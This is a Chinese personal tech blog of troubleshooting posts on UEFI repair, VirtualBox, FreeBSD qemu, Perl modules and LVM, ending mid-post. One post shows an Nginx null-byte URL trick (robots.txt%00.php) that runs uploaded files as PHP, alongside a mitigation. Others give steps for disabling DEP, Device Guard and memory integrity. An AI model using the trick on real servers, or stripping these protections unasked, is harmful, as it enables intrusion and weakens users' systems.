March 06, 2023

笔记本整盘GHOST后UEFI失效修复

GHOST的是整个硬盘而不是系统分区,恢复的时候选择Local->Disk->FORM Image ,恢复后启动进不了系统。进BIOS里发现UEFI丢了。修复过程如下:

1、进winpe用DiskGenius把UEFI分区删掉重建,注意在“请选择文件系统类型”菜单里选择EFI system partition,其他选项默认即可,点击确定:

EFI
然后会创建一个新的名为ESP的分区,完成后保存更改并格式化。
右键点击这个ESP分区指派新的驱动器盘符并记住,后面会用到。

2、启动命令提示符使用bcdboot重建UEFI。

命令提示符

bcdboot c:\windows /s f: /f UEFI /l zh-CN

执行如上命令,可以看到已成功创建启动文件的提示。第一个参数c:\windows是系统目录,要改成实际你的系统所在的分区;第二个/s f:,要改成刚才新建的ESP分区;/l是语言。

bcdboot

现在重启电脑就可以通过UEFI启动了。

备注:

1、取消倒计时的启动列表:

右击桌面“此电脑”->选择“属性”->打开“高级系统设置”->启动和故障恢复设,去掉选项“显示操作系统列表的时间”确定保存,完成。

2、删除多余启动列表引导菜单:

Windows徽标+R键输入命令msconfig回车,打开系统配置功能->引导,选中不想要的项删除,点击确定关闭界面。

Posted by vitter at 2023-03-06 13:25:11 | 评论 (0) | 引用

July 05, 2020

招商银行专业版因安全设置崩溃问题解决

surface book3 Windows10专业版新装的招商银行专业版发现好多调用浏览器打开的地方会导致程序崩溃退出,比如转账汇款功能开通,修改联系信息等,有个共通点就是感觉调用浏览器打开页面,因为会显示加载中,请稍后。找客服也没解决,好多年前我也遇到过类似问题,好像是微软的一个补丁导致的。研究了下感觉是跟Windows10安全设置有关,所以就找了找,发现果真如此,解决办法如下:

设置中找到Windows安全中心>应用和浏览器控制>Exploit Protection设置>程序设置>添加程序进行自定义,把招商银行程序添加进来关掉数据执行保护(DEP),然后重新打开招商银行程序问题解决。

关闭DEP

Posted by vitter at 2020-07-05 11:30:36 | 评论 (0) | 引用

July 01, 2020

Surface Book 3 i71035G7 Windows10专业版开启VT-x虚拟化支持

之前的surface pro 屏幕被我摔漏液好久了,现在终于换了全新顶配企业版surface book 3新CPU i71035G7,在做数据迁移的时候由于要用到老的虚机使用的是VirtualBox发现不支持VT-x。

没有VT-x

由于在surface的UEFI没法修改,看来是微软在底层做了一些限制,迁移Hyper-V又麻烦,查了下资料发现跟Device/Credential Guard有关系,最后成功开启VT-x,具体操作如下:

1、禁用Hyper-V:

控制面板>程序和功能>启用或关闭Windows功能,把整个“Hyper-V”全取消。

Hyper-V关闭

2、组策略禁用Device Guard:

运行组策略编辑器,找到计算机配置>管理模板>系统>Device Guard,然后把“打开基于虚拟化的安全”这一项设置成“已禁用”。

组策略

组策略

3、关闭启动加载器中的hypervisor:

以管理员权限运行PowerShell执行如下命令:

bcdedit /set hypervisorlaunchtype off

4、注册表禁用Device/Credential Guard:

运行注册表编辑器,找到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard”将“EnableVirtualizationBasedSecurity”和“RequireMicrosoftSignedBootChain”两项都设置成“0”。

注册表Device Guard

再找到“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity”下把“Enabled”设置成“0”。

注册表Device Guard

5、关闭Windows Defender中的内存完整性:

设置>更新和安全>Windows安全中心>设备安全性>内核隔离中把“内存完整性”设置成“关”。

内存完整性

重启后就会支持VT-x了。

CPU-Z显示支持VT-x

关于Device/Credential Guard可参考官方文档:管理 Windows Defender Credential Guard

Posted by vitter at 2020-07-01 13:07:00 | 评论 (0) | 引用

December 07, 2015

战略

战略

战略课day1

战略课day2

又有书啃了。

马利克书

Posted by vitter at 2015-12-07 10:32:00 | 评论 (0) | 引用

February 14, 2014

VirtualBox收缩虚拟磁盘映像vdi文件

我的VirtualBox虚拟机磁盘文件采用动态扩展镜像的方式,时间长了虚机里面安装卸载东西,磁盘镜像文件越来越大,即使虚机里面删除了文件释放空间,但是镜像文件并不自动收缩。我知道VMware什么的都有工具对磁盘文件进行收缩,VirtualBox以前不用,查了下也可以实现。

基本思路如下:

1.虚拟机里面: 清理系统空间,卸载、删除系统垃圾文件,磁盘清理比如补丁更新备份,关掉分页文件等,总之就是先减少使用空间;

2.虚拟机里面: 将磁盘上数据往前移,并将剩余磁盘空间并写零;

3.物理主机: 清除“零”字节空间,使用VBoxManage工具的modifyhd参数压缩VDI磁盘镜像文件。

具体操作如下(虚拟机以Windows为例):

1.虚拟机里: 删除系统垃圾文件后,运行磁盘整理程序,可以使用Windows自带的“磁盘碎片整理工具”。另外推荐使用Defraggler,这是一款免费的磁盘碎片整理工具,简单、速度快。
Defraggler下载地址:http://www.filehippo.com/download_defraggler/

2.虚拟机里: 用 SDelete 工具写零,在命令行下执行:
sdelete -c -z c:
SDelete下载地址:http://technet.microsoft.com/en-us/sysinternals/bb897443.aspx
完成后虚拟机关机

3.物理机里: 执行:
vboxmanage modifyhd win7x32.vdi --compact
D:\VirtualBox VMs\win7x32>vboxmanage modifyhd win7x32.vdi --compact
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
完成后磁盘镜像文件会收缩。

虚拟机是Linux的类似,先用dd if=/dev/zero of=0.file 然后删掉 rm 0.file。物理主机不管Linux还是Windows都是用VBoxManage命令的modifyhd参数。

Posted by vitter at 2014-02-14 08:41:45 | 评论 (0) | 引用

September 26, 2013

Python写的代理服务器验证程序

最近有需要批量使用代理服务器,从代理网站上爬下ip和端口,挨个验证找了个python程序用来批量验证。

# cat checkporxy.py

#!/usr/bin/env python 
import Queue
import threading
import urllib2
import time
import sys
#def check_argv():
if len(sys.argv) != 3:
        print """usage: %s proxylist.txt checkok.txt """ % sys.argv[0]
        sys.exit(1)
file1=sys.argv[1]
file2=sys.argv[2]

input_file = file1
output_file = file2

threads = 50

queue = Queue.Queue()
output = []

file_object = open(output_file, 'w') 
file_object.write("") 
file_object.close( )

class ThreadUrl(threading.Thread):
    """Threaded Url Grab"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):
        while True:
            #grabs host from queue
            proxy_info = self.queue.get()
            try:
        print "test proxy:"+proxy_info+"|\n"
        proxy_handler = urllib2.ProxyHandler({'http':proxy_info})
                opener = urllib2.build_opener(proxy_handler)
                opener.addheaders = [('User-agent','Mozilla/5.0')]
                urllib2.install_opener(opener) 
                req = urllib2.Request("http://www.google.com") 
                sock=urllib2.urlopen(req, timeout= 15)
                rs = sock.read(1000)
                if '<title>Google</title>' in rs:
                    output.append(('0',proxy_info))
                    print "ok :"+proxy_info+"\n"
                    file_object = open(output_file, 'a')
                    file_object.write(proxy_info)
                    file_object.write("\n")
                    file_object.close( )
                else:
                    raise "Not Google"
            except:
                output.append(('x',proxy_info))
            #signals to queue job is done
            self.queue.task_done()

start = time.time()
def main():

    #spawn a pool of threads, and pass them queue instance
    for i in range(threads):
        t = ThreadUrl(queue)
        t.setDaemon(True)
        t.start()
    hosts = [host.strip() for host in open(input_file).readlines()]
    #populate queue with data  
    for host in hosts:
        queue.put(host)

    #wait on the queue until everything has been processed    
    queue.join()

main()
for proxy,host in output:
    print proxy,host

print "Elapsed Time: %s" % (time.time() - start)

Posted by vitter at 2013-09-26 10:52:31 | 评论 (0) | 引用

May 29, 2013

用kindle4rss自动推送RSS到Kindle paperwhite

上月从亚马逊日本网站花87美金买了个Kindle paperwhite,然后解决了定时自动通送rss订阅的问题。

1、先去kindle4rss.com网站注册个帐号;

2、在kindle4rss.com网站设置好Kindle的邮件地址,支持kindle和多看;

3、在kindle4rss.com网站订阅他的资源或者订阅自己提交的Feed地址;

image

4、收费的专业版支持自动定时推送,免费版不支持。解决方法很简单,找台服务器crontab里面定时执行以下php程序。

如:0  * * * * /usr/local/php/bin/php /tools/kindle/cron.php

cat /tools/kindle/cron.php

<?php
chdir("/tools/kindle/");
define('USERNAME', 'vitter@aaaaaaa.com'); //kindle4rss的帐号
define('PASSWORD', '111111');  //kindle4rss的密码
$login_url = "http://kindle4rss.com/login/";
$submit_url = "http://kindle4rss.com/send_now/";
$cookie_file = "cookie.kindle";

function getContent($url, $post = false)
{
        global $cookie_file;

        $ch = curl_init();
        if ($post)
        {
                curl_setopt($ch, CURLOPT_POST, 1);
                list($url, $param) = split('\?', $url);
                if ($param)
                {
                        curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
                }
        }
        else
        {
                curl_setopt($ch, CURLOPT_HTTPGET, 1);
        }

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
        curl_setopt($ch, CURLOPT_COOKIEJAR, realpath($cookie_file));
        curl_setopt($ch, CURLOPT_COOKIEFILE, realpath($cookie_file));
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

        if (strstr($url, 'https://'))
        {
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
        }

        $recvData = curl_exec($ch);
        curl_close($ch);

        if ($recvData)
        {
                $recvData = preg_replace('/[\r\n\t]/', '', $recvData);
        }

        return $recvData;
}

function doLogin($username, $password)
{
        global $login_url, $cookie_file;

        $handle = fopen($cookie_file, 'w');
        fclose($handle);

        $ret = false;
        $response = getContent($login_url . "?email_address=$username&password=$password", true);

        if ($response)
        {
                $matchcount = preg_match("/" . $username . "/i", $response, $matches);
                if ($matchcount)
                {
                        $ret = true;
                }
                else
                {
                        $err_msg = "登录:用户或密码错";
                }
        }
        else
        {
                $err_msg = "登录:未知错误";
        }

        if (!$ret)
        {
                echo $err_msg . '<br>';
        }

        return $ret;
}

function doSubmit()
{
        global $submit_url;

        $ret = false;
        $response = getContent($submit_url, true);

        if ($response)
        {
                $matchcount = preg_match("/\/send_now/i", $response, $matches);
                if ($matchcount)
                {
                        $err_msg .= "推送:推送失败";
                }
                else
                {
                        $ret = true;
                }
        }
        else
        {
                $err_msg .= "推送:未知错误";
        }

        if (!$ret)
        {
                echo $err_msg . '<br>';
        }

        return $ret;
}

if (!doLogin(USERNAME, PASSWORD))
{
        echo '登录失败';
        exit;
}

if (doSubmit())
{
        echo '推送完成';
}
?>

这样就省了kindle4rss的专业版的钱了:)

Posted by vitter at 2013-05-29 15:48:15 | 评论 (0) | 引用

March 23, 2012

解决用live writer写blog报Couldn't open encmap gb2312.enc错误问题

vitter@securitycn.net

今天发布了一篇blog,但是用live writer发布的时候报错:
Couldn't open encmap gb2312.enc
No such file or directory
at /usr/lib/perl5/XML/Parser/Parser.pm line 187
如图一所示:

图一

估计是XML::Parser模块的问题,上网搜了下大体上是说这个模块对gb2312不支持,需要自己生成一个gb2312.enc放到/usr/lib/perl5/XML/Parser/Encodings下,按照/usr/lib/perl5/XML/Parser/Encoding/README的方法。

       1. Download GB2312.TXT from ftp.unicode.org,现在unicode.org不提供下载了,这个东西目前下载地址是http://search.cpan.org/src/GUS/Unicode-UTF8simple-1.06/gb2312.txt
       2. 下载安装 XML::Encoding 他有两个脚本 make_encmap 和 compile_encoding 可用来生成码表文件。
       3. 用 make_encmap 生成GB2312.encmap: make_encmap GB2312 GB2312.TXT > GB2312.encmap
       4. Add expat='yes' to the first line of GB2312.encmap 如:<encmap name='GB2312' expat='yes'>
       5. 用 compile_encoding生成enc文件: compile_encoding -o GB2312.enc GB2312.encmap
       6. copy GB2312.enc 到 /usr/lib/perl5/XML/Parser/Encodings

这个方法不行了,使用make_enmap的时候需要改下载来的GB2312.TXT。因为在GB2312.txt中,中文编码0x2121的应该为0xa1a1, 即第一列值全部需要加0x8080,这样就可以了。修改 make_enmap给需要处理的地方每个值加0x80。

这样太麻烦,网上搜了下,从http://www.linuxforum.net/forum/showflat.php?Cat=&Board=xml&Number=317458这下了一个按此方法生成好的http://www.linuxforum.net/forum/files/316936-gb2312-encoding.tgz 文件。发现用live writer打开发布的文章的时候取回来的正常,但是发布乱码gb2312的变成了utf-8。

还有人说gb2312用的是ftp://ftp.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP936.TXT,CP936,同理生成等enc文件结果也出现类似问题,打开没事,发布乱码。

去系统目录下找用这个模块的文件如下:
find . -name "*" -exec fgrep -l 'Parser' {} \;     
./extlib/SOAP/Transport/HTTP.pm
./extlib/SOAP/Lite.pm
./extlib/XML/Parser/Lite.pm
./extlib/HTML/Form.pm
./extlib/LWP/Protocol.pm
./lib/MT/Builder.pm
./lib/MT/XMLRPCServer.pm
看似应该是XMLRPCServer.pm这个文件:
如图二

图二

之后继续折腾了几个小时,甚至升级了XML::Parser模块,也不行。

下班回家后找了以前能用的centos5的系统,对比了下centos6跟5的perl插件,发现之前的系统根本没装这个模块。
centos6上:
[root@securitycn ~]# perl -MXML::Parser -e 'print XML::Parser->VERSION. "\n"'
2.41
而centos5能正常发布的系统上:
[root@security02 ~]# perl -MXML::Parser -e 'print XML::Parser->VERSION. "\n"' 
Can't locate XML/Parser.pm in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.8/i386-linux-thread-multi /usr/lib/perl5/5.8.8 .).
BEGIN failed--compilation aborted.
没装这个模块。
用下面脚本卸载cpan安装的XML::Parser模块:
[root@securitycn ~]# cat cpan-uninstall.pl

#!/usr/local/bin/perl --
use ExtUtils::Installed;
use ExtUtils::Install;
$module = $ARGV[0];
$inst = ExtUtils::Installed->new();
@modules = $inst->modules();
(grep $module,@modules) || die "$module is not install...";
uninstall($inst->packlist($module)->packlist_file());
print "uninstalled $module\n";

[root@securitycn ~]# perl cpan-uninstall.pl XML::Parser
卸完再查发现系统自带rpm的模块
[root@securitycn ~]# perl -MXML::Parser -e 'print XML::Parser->VERSION. "\n"'
2.36
[root@securitycn ~]# rpm -qa |grep perl-XML-Parser
perl-XML-Parser-2.36-7.el6.i686
rpm卸载:
[root@securitycn ~]# rpm -e perl-XML-Parser-2.36-7.el6.i686                 
error: Failed dependencies:
        perl(XML::Parser) is needed by (installed) perl-libxml-perl-0.08-10.el6.noarch
        perl(XML::Parser) is needed by (installed) perl-XML-Twig-3.34-1.el6.noarch
强制卸载:
[root@securitycn ~]# rpm -e perl-XML-Parser-2.36-7.el6.i686  --nodeps
[root@securitycn ~]#  perl -MXML::Parser -e 'print XML::Parser->VERSION. "\n"'
Can't locate XML/Parser.pm in @INC (@INC contains: /usr/local/lib/perl5 /usr/local/share/perl5 /usr/lib/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib/perl5 /usr/share/perl5 .).
BEGIN failed--compilation aborted.

然后再用live writer读取发布文档都没问题了。

Posted by vitter at 2012-03-23 20:42:11 | 评论 (0) | 引用

FreeBSD6.2上更新qemu安装BackTrack5 R2

vitter@securitycn.net

前两天想用下BT,发现我FREEBSD主机里面虚拟机装的还是BT4,上BT官网发现现在是BT5R2,下载回来,放qemu虚拟里面发现startx的时候显卡不支持,如图1:

图1

lspci如图2:

图2

我qemu是0.9的版本,man了下qemu,只支持这一种,不支持指定虚拟显卡的型号,只能虚拟成Cirrus Logic GD5446 Video card。上官网查文档发现给出的文档里面已经有-vga参数了,支持3中型号,其中vmware应该是BT5能支持的。如图3:

图3

下面就更新qemu为新版本吧。

1、使用portsnap更新ports
由于我是第一次用portsnap更新:
[root@securitycn.com ~]# portsnap fetch extract
更新速度较慢,以后的话用:
portsnap fetch update
可以修改/etc/portsnap.conf里面的SERVERNAME更换国内较快的服务器。

2、使用ports更新qemu
[root@securitycn.com ~]# cd /usr/ports/emulators/qemu
[root@securitycn.com qemu]# make deinstall reinstall clean

可能会有关联的软件是老版本报错。根据报错找到老版本卸掉。如:
[root@securitycn.com qemu]# pkg_info |grep libtool
pkg_info: show_file: can't open '+COMMENT' for reading
libtool-2.4.2       Generic shared library support script
[root@securitycn.com qemu]# pkg_delete libtool-2.4.2

更新后是0.11.1的版本了。

[root@securitycn.com ~]# qemu -h
QEMU PC emulator version 0.11.1, Copyright (c) 2003-2008 Fabrice Bellard
usage: qemu [options] [disk_image]

'disk_image' is a raw hard image image for IDE hard disk 0

Standard options:
-h or -help     display this help and exit
-version        display version information and exit
-M machine      select emulated machine (-M ? for list)
-cpu cpu        select CPU (-cpu ? for list)
-smp n          set the number of CPUs to 'n' [default=1]
-numa node[,mem=size][,cpus=cpu[-cpu]][,nodeid=node]
-fda/-fdb file  use 'file' as floppy disk 0/1 image
-hda/-hdb file  use 'file' as IDE hard disk 0/1 image
-hdc/-hdd file  use 'file' as IDE hard disk 2/3 image
-cdrom file     use 'file' as IDE cdrom image (cdrom is ide1 master)
-drive [file=file][,if=type][,bus=n][,unit=m][,media=d][,index=i]
       [,cyls=c,heads=h,secs=s[,trans=t]][,snapshot=on|off]
       [,cache=writethrough|writeback|none][,format=f][,serial=s]
       [,addr=A]
                use 'file' as a drive image
-mtdblock file  use 'file' as on-board Flash memory image
-sd file        use 'file' as SecureDigital card image
-pflash file    use 'file' as a parallel flash image
-boot [order=drives][,once=drives][,menu=on|off]
                'drives': floppy (a), hard disk (c), CD-ROM (d), network (n)
-snapshot       write to temporary files instead of disk image files
-m megs         set virtual RAM size to megs MB [default=128]
-k language     use keyboard layout (for example 'fr' for French)
-audio-help     print list of audio drivers and their options
-soundhw c1,... enable audio support
                and only specified sound cards (comma separated list)
                use -soundhw ? to get the list of supported cards
                use -soundhw all to enable all of them
-usb            enable the USB driver (will be the default soon)
-usbdevice name add the host or guest USB device 'name'
-name string1[,process=string2]    set the name of the guest
            string1 sets the window title and string2 the process name (on Linux)
-uuid %08x-%04x-%04x-%04x-%012x
                specify machine UUID

Display options:
-nographic      disable graphical output and redirect serial I/Os to console
-curses         use a curses/ncurses interface instead of SDL
-no-frame       open SDL window without a frame and window decorations
-alt-grab       use Ctrl-Alt-Shift to grab mouse (instead of Ctrl-Alt)
-no-quit        disable SDL window close capability
-sdl            enable SDL
-portrait       rotate graphical output 90 deg left (only PXA LCD)
-vga [std|cirrus|vmware|xenfb|none]
                select video card type
-full-screen    start in full screen
-vnc display    start a VNC server on display

1 target only:
-win2k-hack     use it when installing Windows 2000 to avoid a disk full bug
-rtc-td-hack    use it to fix time drift in Windows ACPI HAL
-no-fd-bootchk  disable boot signature checking for floppy disks
-no-acpi        disable ACPI
-no-hpet        disable HPET
-balloon none   disable balloon device
-balloon virtio[,addr=str]
                enable virtio balloon device (default)
-acpitable [sig=str][,rev=n][,oem_id=str][,oem_table_id=str][,oem_rev=n][,asl_compiler_id=str][,asl_compiler_rev=n][,data=file1[:file2]...]
                ACPI table description
-smbios file=binary
                Load SMBIOS entry from binary file
-smbios type=0[,vendor=str][,version=str][,date=str][,release=%d.%d]
                Specify SMBIOS type 0 fields
-smbios type=1[,manufacturer=str][,product=str][,version=str][,serial=str]
              [,uuid=uuid][,sku=str][,family=str]
                Specify SMBIOS type 1 fields

Network options:
-net nic[,vlan=n][,macaddr=mac][,model=type][,name=str][,addr=str][,vectors=v]
                create a new Network Interface Card and connect it to VLAN 'n'
-net user[,vlan=n][,name=str][,net=addr[/mask]][,host=addr][,restrict=y|n]
         [,hostname=host][,dhcpstart=addr][,dns=addr][,tftp=dir][,bootfile=f]
         [,hostfwd=rule][,guestfwd=rule][,smb=dir[,smbserver=addr]]
                connect the user mode network stack to VLAN 'n', configure its
                DHCP server and enabled optional services
-net pcap[,vlan=n][,name=str][,ifname=name]
                connect the host network interface using PCAP to VLAN 'n'
-net udp[,vlan=n],sport=sport,dport=dport,daddr=host
                connect the vlan 'n' to a udp host (for dynamips/pemu/GNS3)
-net tap[,vlan=n][,name=str][,fd=h][,ifname=name][,script=file][,downscript=dfile]
                connect the host TAP network interface to VLAN 'n' and use the
                network scripts 'file' (default=/usr/local/etc/qemu-ifup)
                and 'dfile' (default=/usr/local/etc/qemu-ifdown);
                use '[down]script=no' to disable script execution;
                use 'fd=h' to connect to an already opened TAP interface
-net socket[,vlan=n][,name=str][,fd=h][,listen=[host]:port][,connect=host:port]
                connect the vlan 'n' to another VLAN using a socket connection
-net socket[,vlan=n][,name=str][,fd=h][,mcast=maddr:port]
                connect the vlan 'n' to multicast maddr and port
-net dump[,vlan=n][,file=f][,len=n]
                dump traffic on vlan 'n' to file 'f' (max n bytes per packet)
-net none       use it alone to have zero network devices; if no -net option
                is provided, the default is '-net nic -net user'

-bt hci,null    dumb bluetooth HCI - doesn't respond to commands
-bt hci,host[:id]
                use host's HCI with the given name
-bt hci[,vlan=n]
                emulate a standard HCI in virtual scatternet 'n'
-bt vhci[,vlan=n]
                add host computer to virtual scatternet 'n' using VHCI
-bt device:dev[,vlan=n]
                emulate a bluetooth device 'dev' in scatternet 'n'

Linux/Multiboot boot specific:
-kernel bzImage use 'bzImage' as kernel image
-append cmdline use 'cmdline' as kernel command line
-initrd file    use 'file' as initial ram disk

Debug/Expert options:
-serial dev     redirect the serial port to char device 'dev'
-parallel dev   redirect the parallel port to char device 'dev'
-monitor dev    redirect the monitor to char device 'dev'
-pidfile file   write PID to 'file'
-singlestep   always run in singlestep mode
-S              freeze CPU at startup (use 'c' to start execution)
-gdb dev        wait for gdb connection on 'dev'
-s              shorthand for -gdb tcp::1234
-d item1,...    output log to /tmp/qemu.log (use -d ? for a list of log items)
-hdachs c,h,s[,t]
                force hard disk 0 physical geometry and the optional BIOS
                translation (t=none or lba) (usually qemu can guess them)
-L path         set the directory for the BIOS, VGA BIOS and keymaps
-bios file      set the filename for the BIOS
-kernel-kqemu   enable KQEMU full virtualization (default is user mode only)
-enable-kqemu   enable KQEMU kernel module usage
-no-reboot      exit instead of rebooting
-no-shutdown    stop before shutdown
-loadvm [tag|id]
                start right away with a saved state (loadvm in monitor)
-daemonize      daemonize QEMU after initializing
-option-rom rom load a file, rom, into the option ROM space
-clock          force the use of the given methods for timer alarm.
                To see what timers are available use -clock ?
-localtime      set the real time clock to local time [default=utc]
-startdate      select initial date of the clock
-icount [N|auto]
                enable virtual instruction counter with 2^N clock ticks per
                instruction
-watchdog i6300esb|ib700
                enable virtual hardware watchdog [default=none]
-watchdog-action reset|shutdown|poweroff|pause|debug|none
                action when watchdog fires [default=reset]
-echr chr       set terminal escape character instead of ctrl-a
-virtioconsole c
                set virtio console
-show-cursor    show cursor
-tb-size n      set TB size
-incoming p     prepare for incoming migration, listen on port p
-chroot dir     Chroot to dir just before starting the VM.
-runas user     Change to user id user just before starting the VM.

During emulation, the following keys are useful:
ctrl-alt-f      toggle full screen
ctrl-alt-n      switch to virtual console 'n'
ctrl-alt        toggle mouse and keyboard grab

When using -nographic, press 'ctrl-a h' to get some help.

已经支持-vga的参数了。更新完成后发现一个问题,就是显卡支持了,网络不行了。通过tcpdump抓包发现tap0的虚拟网卡上有数据包,只是说明qemu没问题,应该是桥接出的问题。

[root@securitycn.com ~]# uname -a
FreeBSD securitycn.com. 6.2-STABLE FreeBSD 6.2-STABLE #0: Thu Jul 12 18:41:38 CST 2007     root@securitycn.:/usr/src/sys/i386/compile/VitterSKERNEL  i386
[root@securitycn.com ~]# ifconfig
fxp0: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
        options=8<VLAN_MTU>
        inet 10.9.2.38 netmask 0xfffffe00 broadcast 10.9.3.255
        ether 00:16:76:d4:d7:76
        media: Ethernet autoselect (100baseTX <full-duplex>)
        status: active
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
        inet6 ::1 prefixlen 128
bridge0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        ether 66:0b:9a:87:00:15
        priority 32768 hellotime 2 fwddelay 15 maxage 20
tap0: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
        ether 00:bd:2a:9d:02:00
        Opened by PID 1145   
[root@securitycn.com ~]# kldstat
Id Refs Address    Size     Name
1   22 0xc0400000 3e4d1c   kernel
2    4 0xc07e5000 1be80    linux.ko
3    1 0xc0801000 5e80     if_tap.ko
4    1 0xc0807000 79e450   nvidia.ko
5    1 0xc0fa6000 80b0     bridge.ko
6    1 0xc0faf000 b980     if_bridge.ko
7    1 0xc0fbb000 8ea4     aio.ko
8    1 0xc0fc4000 2020c    kqemu.ko
9    1 0xc0fe5000 5b2d0    acpi.ko
10    1 0xc57d3000 6000     linprocfs.ko
11    1 0xc5a18000 d000     ipfw.ko
12    1 0xc5afb000 2000     rtc.ko

发现之前配置的/boot/loader.conf中

aio_load="YES"
kqemu_load="YES"
bridge_load="YES"
if_tap_load="YES"
if_bridge_load="YES"

/etc/sysctl.conf中

net.link.tap.user_open=1

/etc/rc.conf中

kqemu_enable="YES"
cloned_interfaces="bridge0"
ifconfig_bridge0="addm fxp0"

都是生效的。内核也是自己编译过的,支持桥接、虚拟化等,下面手动创建桥:

[root@securitycn.com ~]# sysctl net.link.ether.bridge_cfg=fxp0,tap0
net.link.ether.bridge_cfg:  -> fxp0,tap0
[root@securitycn.com ~]# sysctl net.link.ether.bridge.enable=1
net.link.ether.bridge.enable: 0 -> 1

再启动qemu 加-net tap的参数,网络ok了。估计是老版本的qemu自动启动的时候执行了建立桥接的脚本或程序,新版本的默认是/usr/local/etc/qemu-ifup里面没有执行任何东西。
把上面2个写如开机启动,在/etc/sysctl.conf加入:

net.link.ether.bridge_cfg=fxp0,tap0
net.link.ether.bridge.enable=1

至此全搞定,下面就可以安装BT5了:
[root@securitycn.com ~]# /usr/local/bin/qemu -net nic,macaddr=00:0A:EE:77:33:00 -net tap -hda /qemu/bt5.img -cdrom /usr/home/vitter/BT5R2-GNOME-32.iso -boot d -m 435 -localtime -vga vmware

安装和汉化略,网上到处是汉化的教程。

Posted by vitter at 2012-03-23 13:15:58 | 评论 (2) | 引用

August 26, 2011

Nginx又爆漏洞

by:blog.vfocus.net

脱裤黑客们又有的玩了。

Nginx如下版本:
0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问url+%00.php来执行其中的php代码。如:http://local/robots.txt%00.php会把robots.txt文件当作php来执行。

nginx %00

目前还有许多nginx的低版本服务器存在此漏洞,要养成禁止上传文件目录下执行php的好习惯。

nginx %00 漏洞 

nginx %00

临时解决办法,在nginx虚拟机配置或者fcgi.conf配置加如下代码:

if ($request_filename ~* (.*)\.php) {
    set $php_url $1;
}
if (!-e $php_url.php) {
    return 403;
}

当然升级到最新版本的nginx可以很好解决问题。

Posted by vitter at 2011-08-26 09:18:43 | 评论 (0) | 引用

April 26, 2011

Linux下挂载LVM遇到卷组同名的解决方法

by:vitter@safechina.net
blog:blog.vfocus.net

周末朋友的服务器硬盘出问题了,让IDC的人挂了个IDE硬盘把系统安装好,然后再挂上以前的SATA硬盘,想把数据倒腾出来,结果哥们发现他搞不定,给我打电话求助。我远程上去看了下,发现2块盘系统做的都是LVM分区格式8e,不是ext3的83,难怪他不会挂载,而且还有个问题就是卷组都是默认安装的同一个名字VolGroup00。

[root@locallhost ~]# pvs
  PV         VG         Fmt  Attr PSize   PFree
  /dev/hda2  VolGroup00 lvm2 a-    74.41G    0
  /dev/sda2  VolGroup00 lvm2 a-   232.78G    0

hda2是新系统盘74G多,sda2是老数据盘232G多。卷组名称一样,因为2个系统安装的时候都是默认安装的。

[root@locallhost ~]# vgs
  VG         #PV #LV #SN Attr   VSize   VFree
  VolGroup00   1   2   0 wz--n- 232.78G    0
  VolGroup00   1   2   0 wz--n-  74.41G    0

我们先用vgrename改卷组名:

[root@locallhost ~]# vgrename VolGroup00 aaalvm
  Found more than one VG called VolGroup00. Please supply VG uuid.

直接报有同名,需要用uuid。查uuid可以用vgdisplay或vgs -v:

[root@locallhost ~]# vgdisplay
  --- Volume group ---
  VG Name               VolGroup00
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  3
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               2
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               232.78 GB
  PE Size               32.00 MB
  Total PE              7449
  Alloc PE / Size       7449 / 232.78 GB
  Free  PE / Size       0 / 0
  VG UUID               bAydq6-rv9e-wCa0-iK2f-zFWn-UBUr-4AR3Ct

  --- Volume group ---
  VG Name               VolGroup00
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  3
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               2
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               74.41 GB
  PE Size               32.00 MB
  Total PE              2381
  Alloc PE / Size       2381 / 74.41 GB
  Free  PE / Size       0 / 0
  VG UUID               YHLmkq-b1xS-UzAS-Y3nv-6vaX-2Xou-GScvk0

[root@locallhost ~]# vgs -v
    Finding all volume groups
    Finding volume group "VolGroup00"
    Archiving volume group "VolGroup00" metadata (seqno 3).
    Archiving volume group "VolGroup00" metadata (seqno 3).
    Creating volume group backup "/etc/lvm/backup/VolGroup00" (seqno 3).
    Finding volume group "VolGroup00"
    Archiving volume group "VolGroup00" metadata (seqno 3).
    Archiving volume group "VolGroup00" metadata (seqno 3).
    Creating volume group backup "/etc/lvm/backup/VolGroup00" (seqno 3).
  VG         Attr   Ext    #PV #LV #SN VSize   VFree VG UUID
